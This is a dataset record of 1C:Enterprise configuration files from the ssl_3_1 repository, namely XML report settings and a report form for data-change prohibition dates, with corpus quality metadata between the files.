<dcscor:use>false</dcscor:use> <dcscor:parameter>Адресаты</dcscor:parameter> <dcscor:value xsi:nil="true"/> <dcsset:viewMode>Normal</dcsset:viewMode> <dcsset:userSettingID>c66f8252-e767-48b1-8975-b9b3bf8c70ad</dcsset:userSettingID> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>Разделы</dcscor:parameter> <dcscor:value xsi:nil="true"/> <dcsset:viewMode>Inaccessible</dcsset:viewMode> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>Объекты</dcscor:parameter> <dcscor:value xsi:nil="true"/> <dcsset:viewMode>Normal</dcsset:viewMode> <dcsset:userSettingID>6a426184-7fab-4727-99ec-f38c25b25aa0</dcsset:userSettingID> </dcscor:item> </dcsset:dataParameters> <dcsset:outputParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ВыводитьЗаголовок</dcscor:parameter> <dcscor:value xsi:type="dcsset:DataCompositionTextOutputType">Auto</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Заголовок</dcscor:parameter> <dcscor:value xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Даты запрета изменения данных</v8:content> </v8:item> </dcscor:value> </dcscor:item> </dcsset:outputParameters> <dcsset:item xsi:type="dcsset:StructureItemGroup"> <dcsset:groupItems> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>НастройкаОбщаяДата</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>Раздел</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>НастройкаДляРаздела</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>Объект</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> </dcsset:groupItems> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>НастройкаОбщаяДата</dcsset:field> <dcsset:orderType>Desc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>Раздел</dcsset:field> <dcsset:orderType>Asc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>НастройкаДляРаздела</dcsset:field> <dcsset:orderType>Desc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>Объект</dcsset:field> <dcsset:orderType>Asc</dcsset:orderType> </dcsset:item> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemFolder"> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:use>false</dcsset:use> <dcsset:field>Раздел</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Объект</dcsset:field> </dcsset:item> <dcsset:placement>Together</dcsset:placement> </dcsset:item> </dcsset:selection> <dcsset:item xsi:type="dcsset:StructureItemGroup"> <dcsset:groupItems> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>НастройкаДляВсехАдресатов</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>АдресатНастройки</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>ДатаЗапрета</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>Комментарий</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> </dcsset:groupItems> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>НастройкаДляВсехАдресатов</dcsset:field> <dcsset:orderType>Desc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>АдресатНастройки</dcsset:field> <dcsset:orderType>Asc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>ДатаЗапрета</dcsset:field> <dcsset:orderType>Asc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>Комментарий</dcsset:field> <dcsset:orderType>Asc</dcsset:orderType> </dcsset:item> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>АдресатНастройки</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ДатаЗапрета</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Комментарий</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:item xsi:type="dcsset:StructureItemGroup"> <dcsset:use>false</dcsset:use> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>ПриоритетНастройки</dcsset:field> <dcsset:orderType>Desc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>ДатаЗапретаНастройки</dcsset:field> <dcsset:orderType>Desc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>ВладелецНастройки</dcsset:field> <dcsset:orderType>Asc</dcsset:orderType> </dcsset:item> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemFolder"> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ПриоритетНастройки</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ВладелецНастройки</dcsset:field> </dcsset:item> <dcsset:placement>Together</dcsset:placement> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ДатаЗапретаНастройки</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>КомментарийНастройки</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:viewMode>Normal</dcsset:viewMode> <dcsset:userSettingID>0a91b79e-111c-407d-b4eb-a8271a4bac9b</dcsset:userSettingID> <dcsset:userSettingPresentation xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Настройки дат запрета</v8:content> </v8:item> </dcsset:userSettingPresentation> </dcsset:item> </dcsset:item> </dcsset:item> </dcsset:settings> </settingsVariant> <settingsVariant> <dcsset:name>ДатыЗапретаИзмененияПоРазделамДляПользователей</dcsset:name> <dcsset:presentation xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Даты запрета изменения данных по разделам</v8:content> </v8:item> </dcsset:presentation> <dcsset:settings xmlns:style="http://v8.1c.ru/8.1/data/ui/style" xmlns:sys="http://v8.1c.ru/8.1/data/ui/fonts/system" xmlns:web="http://v8.1c.ru/8.1/data/ui/colors/web" xmlns:win="http://v8.1c.ru/8.1/data/ui/colors/windows"> <dcsset:dataParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>Адресаты</dcscor:parameter> <dcscor:value xsi:nil="true"/> <dcsset:viewMode>Normal</dcsset:viewMode> <dcsset:userSettingID>ad452494-8d10-456c-a9d2-ac1962a25826</dcsset:userSettingID> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>Разделы</dcscor:parameter> <dcscor:value xsi:nil="true"/> <dcsset:viewMode>Normal</dcsset:viewMode> <dcsset:userSettingID>01902b88-ba82-4086-a503-c093634e862f</dcsset:userSettingID> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>Объекты</dcscor:parameter> <dcscor:value xsi:nil="true"/> <dcsset:viewMode>Inaccessible</dcsset:viewMode> </dcscor:item> </dcsset:dataParameters> <dcsset:outputParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ВыводитьЗаголовок</dcscor:parameter> <dcscor:value xsi:type="dcsset:DataCompositionTextOutputType">Auto</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Заголовок</dcscor:parameter> <dcscor:value xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Даты запрета изменения данных</v8:content> </v8:item> </dcscor:value> </dcscor:item> </dcsset:outputParameters> <dcsset:item xsi:type="dcsset:StructureItemGroup"> <dcsset:groupItems> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>НастройкаОбщаяДата</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>Раздел</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>НастройкаДляРаздела</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>Объект</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> </dcsset:groupItems> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>НастройкаОбщаяДата</dcsset:field> <dcsset:orderType>Desc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>Раздел</dcsset:field> <dcsset:orderType>Asc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>НастройкаДляРаздела</dcsset:field> <dcsset:orderType>Desc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>Объект</dcsset:field> <dcsset:orderType>Asc</dcsset:orderType> </dcsset:item> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemFolder"> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Раздел</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:use>false</dcsset:use> <dcsset:field>Объект</dcsset:field> </dcsset:item> <dcsset:placement>Together</dcsset:placement> </dcsset:item> </dcsset:selection> <dcsset:item xsi:type="dcsset:StructureItemGroup"> <dcsset:groupItems> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>НастройкаДляВсехАдресатов</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>АдресатНастройки</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>ДатаЗапрета</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>Комментарий</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> </dcsset:groupItems> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>НастройкаДляВсехАдресатов</dcsset:field> <dcsset:orderType>Desc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>АдресатНастройки</dcsset:field> <dcsset:orderType>Asc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>ДатаЗапрета</dcsset:field> <dcsset:orderType>Asc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>Комментарий</dcsset:field> <dcsset:orderType>Asc</dcsset:orderType> </dcsset:item> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>АдресатНастройки</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ДатаЗапрета</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Комментарий</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:item xsi:type="dcsset:StructureItemGroup"> <dcsset:use>false</dcsset:use> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>ПриоритетНастройки</dcsset:field> <dcsset:orderType>Desc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>ДатаЗапретаНастройки</dcsset:field> <dcsset:orderType>Desc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>ВладелецНастройки</dcsset:field> <dcsset:orderType>Asc</dcsset:orderType> </dcsset:item> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemFolder"> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ПриоритетНастройки</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ВладелецНастройки</dcsset:field> </dcsset:item> <dcsset:placement>Together</dcsset:placement> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ДатаЗапретаНастройки</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>КомментарийНастройки</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:viewMode>Normal</dcsset:viewMode> <dcsset:userSettingID>0a91b79e-111c-407d-b4eb-a8271a4bac9b</dcsset:userSettingID> <dcsset:userSettingPresentation xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Настройки дат запрета</v8:content> </v8:item> </dcsset:userSettingPresentation> </dcsset:item> </dcsset:item> </dcsset:item> </dcsset:settings> </settingsVariant> </DataCompositionSchema>
69,702
Template
xml
ru
xml
data
{"qsc_code_num_words": 7548, "qsc_code_num_chars": 69702.0, "qsc_code_mean_word_length": 6.44594595, "qsc_code_frac_words_unique": 0.03312136, "qsc_code_frac_chars_top_2grams": 0.05582275, "qsc_code_frac_chars_top_3grams": 0.06225593, "qsc_code_frac_chars_top_4grams": 0.07931516, "qsc_code_frac_chars_dupe_5grams": 0.95663255, "qsc_code_frac_chars_dupe_6grams": 0.95587208, "qsc_code_frac_chars_dupe_7grams": 0.95241912, "qsc_code_frac_chars_dupe_8grams": 0.944465, "qsc_code_frac_chars_dupe_9grams": 0.94409504, "qsc_code_frac_chars_dupe_10grams": 0.941382, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.03770787, "qsc_code_frac_chars_whitespace": 0.14850363, "qsc_code_size_file_byte": 69702.0, "qsc_code_num_lines": 1558.0, "qsc_code_num_chars_line_max": 461.0, "qsc_code_num_chars_line_mean": 44.7381258, "qsc_code_frac_chars_alphabet": 0.78204243, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 1.0, "qsc_code_frac_lines_dupe_lines": 0.94030809, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.13315256, "qsc_code_frac_chars_long_word_length": 0.07839086, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 1, "qsc_code_mean_word_length": 0, "qsc_code_frac_words_unique": 1, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 1, "qsc_code_frac_chars_dupe_6grams": 1, "qsc_code_frac_chars_dupe_7grams": 1, "qsc_code_frac_chars_dupe_8grams": 1, "qsc_code_frac_chars_dupe_9grams": 1, "qsc_code_frac_chars_dupe_10grams": 1, "qsc_code_frac_lines_dupe_lines": 1, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 1, "qsc_code_cate_autogen": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0}
1c-syntax/ssl_3_1
src/cf/Reports/ДатыЗапретаИзменения/Forms/ФормаОтчета/Ext/Form.xml
<?xml version="1.0" encoding="UTF-8"?> <Form xmlns="http://v8.1c.ru/8.3/xcf/logform" xmlns:app="http://v8.1c.ru/8.2/managed-application/core" xmlns:cfg="http://v8.1c.ru/8.1/data/enterprise/current-config" xmlns:dcscor="http://v8.1c.ru/8.1/data-composition-system/core" xmlns:dcssch="http://v8.1c.ru/8.1/data-composition-system/schema" xmlns:dcsset="http://v8.1c.ru/8.1/data-composition-system/settings" xmlns:ent="http://v8.1c.ru/8.1/data/enterprise" xmlns:lf="http://v8.1c.ru/8.2/managed-application/logform" xmlns:style="http://v8.1c.ru/8.1/data/ui/style" xmlns:sys="http://v8.1c.ru/8.1/data/ui/fonts/system" xmlns:v8="http://v8.1c.ru/8.1/data/core" xmlns:v8ui="http://v8.1c.ru/8.1/data/ui" xmlns:web="http://v8.1c.ru/8.1/data/ui/colors/web" xmlns:win="http://v8.1c.ru/8.1/data/ui/colors/windows" xmlns:xr="http://v8.1c.ru/8.3/xcf/readable" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.18"> <AutoTitle>false</AutoTitle> <CommandBarLocation>None</CommandBarLocation> <CommandSet> <ExcludedCommand>ChangeVariant</ExcludedCommand> <ExcludedCommand>LoadVariant</ExcludedCommand> <ExcludedCommand>SaveVariant</ExcludedCommand> </CommandSet> <ReportResult>Результат</ReportResult> <DetailsData>ДанныеРасшифровки</DetailsData> <ReportFormType>Main</ReportFormType> <AutoShowState>Auto</AutoShowState> <CustomSettingsFolder>ГруппаПользовательскихНастроек</CustomSettingsFolder> <ReportResultViewMode>Auto</ReportResultViewMode> <ViewModeApplicationOnSetReportResult>Auto</ViewModeApplicationOnSetReportResult> <AutoCommandBar name="ФормаКоманднаяПанель" id="-1"> <Autofill>false</Autofill> </AutoCommandBar> <Events> <Event name="OnCreateAtServer">ПриСозданииНаСервере</Event> </Events> <ChildItems> <CommandBar name="ОсновнаяКоманднаяПанель" id="1"> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Основная командная панель</v8:content> </v8:item> </Title> <CommandSource>Form</CommandSource> <ExtendedTooltip name="ОсновнаяКоманднаяПанельРасширеннаяПодсказка" id="2"/> <ChildItems> <Popup name="ВариантыОтчета" id="8"> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Варианты отчета</v8:content> </v8:item> </Title> <ExtendedTooltip name="ВариантыОтчетаРасширеннаяПодсказка" id="9"/> <ChildItems> <Button name="ФормаПервыйВариант" id="10"> <Type>CommandBarButton</Type> <CommandName>Form.Command.ПервыйВариант</CommandName> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Первый вариант</v8:content> </v8:item> </Title> <ExtendedTooltip name="ФормаПервыйВариантРасширеннаяПодсказка" id="11"/> </Button> <Button name="ФормаВторойВариант" id="12"> <Type>CommandBarButton</Type> <CommandName>Form.Command.ВторойВариант</CommandName> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Второй вариант</v8:content> </v8:item> </Title> <ExtendedTooltip name="ФормаВторойВариантРасширеннаяПодсказка" id="13"/> </Button> </ChildItems> </Popup> </ChildItems> </CommandBar> <UsualGroup name="ГруппаПользовательскихНастроек" id="3"> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Группа пользовательских настроек</v8:content> </v8:item> </Title> <Group>Vertical</Group> <Behavior>Usual</Behavior> <ShowTitle>false</ShowTitle> <ExtendedTooltip name="ГруппаПользовательскихНастроекРасширеннаяПодсказка" id="4"/> </UsualGroup> <SpreadSheetDocumentField name="Результат" id="5"> <DataPath>Результат</DataPath> <DefaultItem>true</DefaultItem> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Результат</v8:content> </v8:item> </Title> <TitleLocation>None</TitleLocation> <Width>40</Width> <VerticalScrollBar>true</VerticalScrollBar> <HorizontalScrollBar>true</HorizontalScrollBar> <ContextMenu name="РезультатКонтекстноеМеню" id="6"/> <ExtendedTooltip name="РезультатРасширеннаяПодсказка" id="7"/> </SpreadSheetDocumentField> </ChildItems> <Attributes> <Attribute name="Отчет" id="1"> <Type> <v8:Type>cfg:ReportObject.ДатыЗапретаИзменения</v8:Type> </Type> <MainAttribute>true</MainAttribute> </Attribute> <Attribute name="Результат" id="2"> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Результат</v8:content> </v8:item> </Title> <Type> <v8:Type xmlns:mxl="http://v8.1c.ru/8.2/data/spreadsheet">mxl:SpreadsheetDocument</v8:Type> </Type> </Attribute> <Attribute name="ДанныеРасшифровки" id="3"> <Type> <v8:Type>xs:string</v8:Type> <v8:StringQualifiers> <v8:Length>0</v8:Length> <v8:AllowedLength>Variable</v8:AllowedLength> </v8:StringQualifiers> </Type> </Attribute> </Attributes> <Commands> <Command name="ПервыйВариант" id="1"> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Первый вариант</v8:content> </v8:item> </Title> <Action>ПервыйВариант</Action> <CurrentRowUse>DontUse</CurrentRowUse> </Command> <Command name="ВторойВариант" id="2"> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Второй вариант</v8:content> </v8:item> </Title> <Action>ВторойВариант</Action> <CurrentRowUse>DontUse</CurrentRowUse> </Command> </Commands> </Form>
5,460
Form
xml
ru
xml
data
{"qsc_code_num_words": 624, "qsc_code_num_chars": 5460.0, "qsc_code_mean_word_length": 5.99198718, "qsc_code_frac_words_unique": 0.26762821, "qsc_code_frac_chars_top_2grams": 0.02888473, "qsc_code_frac_chars_top_3grams": 0.03423375, "qsc_code_frac_chars_top_4grams": 0.04279219, "qsc_code_frac_chars_dupe_5grams": 0.3380583, "qsc_code_frac_chars_dupe_6grams": 0.30275475, "qsc_code_frac_chars_dupe_7grams": 0.26156726, "qsc_code_frac_chars_dupe_8grams": 0.2356245, "qsc_code_frac_chars_dupe_9grams": 0.18106446, "qsc_code_frac_chars_dupe_10grams": 0.14174913, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.03698193, "qsc_code_frac_chars_whitespace": 0.13827839, "qsc_code_size_file_byte": 5460.0, "qsc_code_num_lines": 148.0, "qsc_code_num_chars_line_max": 918.0, "qsc_code_num_chars_line_mean": 36.89189189, "qsc_code_frac_chars_alphabet": 0.75749203, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 1.0, "qsc_code_frac_lines_dupe_lines": 0.5, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.22051282, "qsc_code_frac_chars_long_word_length": 0.05659341, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 1, "qsc_code_mean_word_length": 0, "qsc_code_frac_words_unique": 1, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 1, "qsc_code_cate_autogen": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0}
1c-syntax/ssl_3_1
src/cf/Reports/ДатыЗапретаИзменения/Forms/ФормаОтчета/Ext/Form/Module.bsl
